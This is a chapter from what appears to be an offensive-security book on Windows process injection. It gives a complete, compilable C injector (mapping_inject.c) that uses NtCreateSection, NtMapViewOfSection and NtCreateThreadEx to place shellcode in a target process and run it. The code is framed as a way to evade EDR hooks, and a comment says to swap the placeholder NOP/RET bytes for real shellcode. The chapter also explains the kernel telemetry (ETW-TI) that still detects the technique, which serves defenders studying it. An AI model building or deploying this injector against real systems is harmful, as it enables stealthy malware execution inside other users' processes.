Chapter 26

Mapping Injection (NtCreateSection + NtMapViewOfSection)

Chapters 24 and 25 used VirtualAllocEx — a function monitored by every modern EDR because it explicitly allocates memory in another process. Mapping injection avoids VirtualAllocEx entirely. Instead, it creates a shared section object — a kernel object that represents a chunk of memory — and maps views of that section into both the injector process and the target process. From the kernel's perspective, both processes are sharing the same physical memory pages. Writing shellcode into the injector's view makes it immediately visible in the target's view. No WriteProcessMemory needed. Then a thread starts in the target pointing at the mapped view. This chapter builds the complete NtCreateSection + NtMapViewOfSection injection chain from native API calls, explains why it generates fewer API-monitoring hits, and shows why it still doesn't evade kernel-level ETW telemetry.

Section Objects — Shared Memory at the Kernel Level

How Windows section objects work — shared memory mechanism
  Without section objects (VirtualAllocEx model):
  ──────────────────────────────────────────────────────────────────────────
  Injector process VA space          Target process VA space
  ─────────────────────────          ────────────────────────
  [injector's data]                  [target's data]
  [injector's code]       copy →     [shellcode at 0x248ABCD0]
                     (WriteProcessMemory crosses process boundary)

  With section objects (NtMapViewOfSection model):
  ──────────────────────────────────────────────────────────────────────────
  Injector process VA space          Physical Memory            Target process VA space
  ─────────────────────────          ─────────────────          ────────────────────────
  [injector's data]                  [physical page A]          [target's data]
  [local_view at 0x1000] ──────────► [SECTION OBJECT]  ◄─────── [remote_view at 0x248ABCD0]
  
  Write to local_view at 0x1000 → physical page A is modified
  Read  from remote_view at 0x248ABCD0 → same physical page A
  No data ever crosses the process boundary — they share the SAME physical pages.
  No VirtualAllocEx, no WriteProcessMemory.

  Section object properties:
    - Created with NtCreateSection()
    - Has its own handle in each process that maps it
    - Can be named (accessible by name from any process) or anonymous
    - Protection: set at map time (SEC_COMMIT flags)
    - The SAME physical memory is in two VA spaces simultaneously
    - Changes in one view are instantly visible in the other

Native API Functions — Bypassing Win32 Layer

/* mapping_inject.c — Section-based shellcode injection
   
   Uses native NT APIs directly (ntdll.dll) to avoid
   kernel32 wrappers that EDRs commonly hook.
   
   Native APIs are the functions ntdll exports with Nt/Zw prefix.
   They're one layer below the Win32 API (CreateFile → NtCreateFile, etc.)
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o mapping_inject.exe mapping_inject.c
*/

#include <windows.h>
#include <stdio.h>

/* ── NT type definitions ─────────────────────────────────────────────── */
typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
#define STATUS_SUCCESS 0

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes(p, n, a, r, s) \
    do { (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
         (p)->RootDirectory = (r);                \
         (p)->Attributes = (a);                   \
         (p)->ObjectName = (n);                   \
         (p)->SecurityDescriptor = (s);           \
         (p)->SecurityQualityOfService = NULL; } while (0)

/* View sharing enum */
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

/* ── Function pointers for native APIs ─────────────────────────────── */
typedef NTSTATUS (NTAPI *pNtCreateSection)(
    PHANDLE            SectionHandle,
    ACCESS_MASK        DesiredAccess,
    OBJECT_ATTRIBUTES *ObjectAttributes,
    PLARGE_INTEGER     MaximumSize,
    ULONG              SectionPageProtection,
    ULONG              AllocationAttributes,
    HANDLE             FileHandle
);

typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
    HANDLE          SectionHandle,
    HANDLE          ProcessHandle,
    PVOID          *BaseAddress,
    ULONG_PTR       ZeroBits,
    SIZE_T          CommitSize,
    PLARGE_INTEGER  SectionOffset,
    PSIZE_T         ViewSize,
    SECTION_INHERIT InheritDisposition,
    ULONG           AllocationType,
    ULONG           Win32Protect
);

typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID  BaseAddress
);

typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    OBJECT_ATTRIBUTES *ObjectAttributes,
    HANDLE             ProcessHandle,
    PVOID              StartRoutine,
    PVOID              Argument,
    ULONG              CreateFlags,
    ULONG_PTR          ZeroBits,
    SIZE_T             StackSize,
    SIZE_T             MaximumStackSize,
    PVOID              AttributeList
);

/* ── Resolve all native API function pointers ────────────────────────── */
typedef struct {
    pNtCreateSection     NtCreateSection;
    pNtMapViewOfSection  NtMapViewOfSection;
    pNtUnmapViewOfSection NtUnmapViewOfSection;
    pNtCreateThreadEx    NtCreateThreadEx;
} NtApis;

static NtApis load_ntdll_apis(void) {
    NtApis apis = { 0 };
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) { fprintf(stderr, "ntdll not found\n"); return apis; }

    apis.NtCreateSection      = (pNtCreateSection)     GetProcAddress(hNtdll, "NtCreateSection");
    apis.NtMapViewOfSection   = (pNtMapViewOfSection)  GetProcAddress(hNtdll, "NtMapViewOfSection");
    apis.NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    apis.NtCreateThreadEx     = (pNtCreateThreadEx)    GetProcAddress(hNtdll, "NtCreateThreadEx");
    return apis;
}

/* ── Shellcode placeholder ───────────────────────────────────────────── */
static unsigned char sc[] = {
    0x90, 0x90, 0x90, 0xC3   /* NOP NOP NOP RET — replace with real shellcode */
};
static SIZE_T sc_len = sizeof(sc);

/* ── Core mapping injection ──────────────────────────────────────────── */
static BOOL map_inject(NtApis *apis, HANDLE hTarget) {
    NTSTATUS status;
    HANDLE hSection = NULL;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

    /* Step 1: Create a section object of appropriate size
       PAGE_EXECUTE_READWRITE: section pages will be RWX
       SEC_COMMIT: commit physical backing immediately (like MEM_COMMIT)
       
       Note: NtCreateSection doesn't cross the process boundary.
       The section object lives in the kernel — not in any process.
    */
    LARGE_INTEGER sz;
    sz.QuadPart = (LONGLONG)sc_len;

    status = apis->NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        &oa,
        &sz,
        PAGE_EXECUTE_READWRITE,   /* page protection for mapped views */
        SEC_COMMIT,               /* commit physical memory immediately */
        NULL                      /* no backing file — anonymous section */
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtCreateSection: 0x%08lX\n", status);
        return FALSE;
    }
    printf("[+] Section created: %p\n", hSection);

    /* Step 2: Map a VIEW into the INJECTOR process (for writing) */
    PVOID local_view = NULL;
    SIZE_T view_size = 0;
    status = apis->NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),    /* map into OUR process */
        &local_view,            /* OS picks the address */
        0,                      /* ZeroBits */
        0,                      /* CommitSize */
        NULL,                   /* SectionOffset */
        &view_size,
        ViewShare,
        0,                      /* AllocationType */
        PAGE_READWRITE          /* protection for our local view (no exec needed) */
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtMapViewOfSection (local): 0x%08lX\n", status);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Local view mapped at %p (size: %zu)\n", local_view, view_size);

    /* Step 3: Map a VIEW into the TARGET process (for execution) */
    PVOID remote_view = NULL;
    view_size = 0;
    status = apis->NtMapViewOfSection(
        hSection,
        hTarget,                /* map into TARGET process */
        &remote_view,           /* OS picks address in target's VA space */
        0, 0, NULL, &view_size,
        ViewShare,
        0,
        PAGE_EXECUTE_READ       /* target view is execute-read (not writable) */
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtMapViewOfSection (remote): 0x%08lX\n", status);
        apis->NtUnmapViewOfSection(GetCurrentProcess(), local_view);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Remote view mapped at %p in target\n", remote_view);

    /* Step 4: Write shellcode into LOCAL view
       Writing to local_view modifies the shared physical pages.
       The changes appear instantly at remote_view in the target process.
       NO WriteProcessMemory call — this is the key stealth improvement.
    */
    memcpy(local_view, sc, sc_len);
    printf("[+] Shellcode written via local view (no WriteProcessMemory)\n");

    /* Unmap our local view — no longer needed after write */
    apis->NtUnmapViewOfSection(GetCurrentProcess(), local_view);

    /* Step 5: Create a thread in the target at remote_view address
       Using NtCreateThreadEx instead of CreateRemoteThread:
       - More primitive API (fewer hooks in some EDRs)
       - Same functionality: creates a thread in the target
       - CreateFlags=4 (THREAD_CREATE_FLAGS_CREATE_SUSPENDED): optional
         suspended creation for pre-execution modification
    */
    HANDLE hThread = NULL;
    status = apis->NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hTarget,
        remote_view,   /* start address in the target — our shellcode */
        NULL,          /* argument (NULL for most shellcodes) */
        0,             /* CREATE_FLAGS: 0 = run immediately */
        0, 0, 0, NULL
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtCreateThreadEx: 0x%08lX\n", status);
        apis->NtUnmapViewOfSection(hTarget, remote_view);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Thread created in target at %p\n", remote_view);

    WaitForSingleObject(hThread, 5000);
    CloseHandle(hThread);
    CloseHandle(hSection);
    /* remote_view stays mapped — it's where the shellcode lives */
    return TRUE;
}

int main(int argc, char *argv[]) {
    if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
    DWORD pid = (DWORD)atol(argv[1]);

    NtApis apis = load_ntdll_apis();
    if (!apis.NtCreateSection) {
        printf("[-] Failed to resolve NT APIs\n");
        return 1;
    }

    HANDLE hTarget = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION,
        FALSE, pid);
    if (!hTarget) {
        printf("[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
        return 1;
    }

    BOOL result = map_inject(&apis, hTarget);
    CloseHandle(hTarget);
    return result ? 0 : 1;
}

API Comparison — What the EDR Sees

Hooked API calls: VirtualAllocEx vs NtMapViewOfSection
  Classic shellcode injection (Ch25)     │ Mapping injection (Ch26)
  ══════════════════════════════════     │ ══════════════════════════════
  OpenProcess(PROCESS_VM_WRITE|...)     │ OpenProcess(PROCESS_VM_OPERATION|...)
  VirtualAllocEx(PAGE_READWRITE)        │ NtCreateSection(PAGE_EXECUTE_READWRITE)
  WriteProcessMemory(shellcode)         │ NtMapViewOfSection(local → RW)
  VirtualProtectEx(PAGE_EXECUTE_READ)  │ NtMapViewOfSection(target → RX)
  CreateRemoteThread(shellcode_addr)    │ memcpy(local_view, shellcode)  [local]
                                        │ NtCreateThreadEx(remote_view)
  
  EDR hook coverage comparison:
  ──────────────────────────────────────────────────────────────────────
  Win32 layer hooks (kernel32.dll):
    VirtualAllocEx ← hooked in Ch25     NtMapViewOfSection: ntdll only, not kernel32
    WriteProcessMemory ← hooked         memcpy: local, unhooked
    CreateRemoteThread ← hooked         NtCreateThreadEx: ntdll only, less-hooked

  Ntdll-level hooks:
    Many EDRs also hook ntdll:
    NtAllocateVirtualMemory (= VirtualAllocEx)  ← hooked
    NtWriteVirtualMemory (= WriteProcessMemory) ← hooked
    NtCreateThreadEx ← sometimes hooked
    NtCreateSection ← less commonly hooked
    NtMapViewOfSection ← less commonly hooked
    
  Key insight: Mapping injection reduces the number of cross-process
  operations that create hooked API call sequences.
  The shellcode write (memcpy to local_view) is a local operation —
  it CANNOT be intercepted by user-mode EDR hooks because it never
  makes a syscall to another process.
  
  What STILL generates telemetry:
  - OpenProcess: always logged (kernel callback)
  - NtCreateSection with SEC_COMMIT and PAGE_EXECUTE_*: logged
  - NtCreateThreadEx in another process: logged
  - ETW_TI (Windows Threat Intelligence ETW provider): watches ALL
    process injection patterns at kernel level, including section mapping
    This is what Microsoft Defender uses internally.

Questions & Answers

Why does mapping injection avoid WriteProcessMemory but not all cross-process operations?

Mapping injection doesn't eliminate the need to touch the target process — it just changes which operations touch it. You still call OpenProcess to get a handle, NtMapViewOfSection to map the section into the target, and NtCreateThreadEx to start a thread there. What's avoided is WriteProcessMemory specifically. The reason this matters: WriteProcessMemory is one of the most heavily monitored APIs by EDRs and has dedicated Sysmon event coverage (EventID 10 ProcessAccess with VM_WRITE access right). Replacing it with a section mapping write (which appears as a local memcpy in the injector process) reduces the cross-process API surface. The trade-off is that NtCreateSection with PAGE_EXECUTE permissions is increasingly monitored by modern EDRs, partly because this technique became widely documented around 2019–2020.

What is ETW-TI and why does it defeat usermode injection bypasses?

ETW-TI (Event Tracing for Windows — Threat Intelligence) is a kernel-level telemetry provider (provider GUID: f4e1897c-bb5d-5668-f1d8-040f4d8dd344) that Windows 10/11 exposes to security products with a PPL license (Protected Process Light). It hooks kernel functions directly, below any user-mode code. Functions like NtAllocateVirtualMemory, NtMapViewOfSection, NtCreateThreadEx all generate ETW-TI events at the kernel level. User-mode hooking bypasses (direct syscalls, heaven's gate, unhooking ntdll) cannot avoid ETW-TI because it runs in the kernel. This is why techniques like direct syscalls bypass user-mode EDR hooks but don't evade Microsoft Defender — Defender uses ETW-TI for telemetry, not ntdll hooks. Truly evading modern kernel-level telemetry requires a kernel driver with the right signing.

What's the difference between SEC_COMMIT and SEC_RESERVE in NtCreateSection?

These flags mirror the MEM_COMMIT and MEM_RESERVE flags in VirtualAlloc. SEC_RESERVE creates a section object that reserves address space in both processes when mapped, but doesn't commit physical memory yet. Accessing a page in a SEC_RESERVE section generates a page fault that must be handled (or it crashes). SEC_COMMIT pre-commits physical memory backing when the section is created — pages are immediately accessible without a page fault. For injection, SEC_COMMIT is correct because you need to write shellcode to the section immediately after mapping. SEC_IMAGE is a third option (used in Doppelgänging and Ghosting — Chapters 34-35) which maps a file as if it were an executable image, using the PE loader's section mapping logic.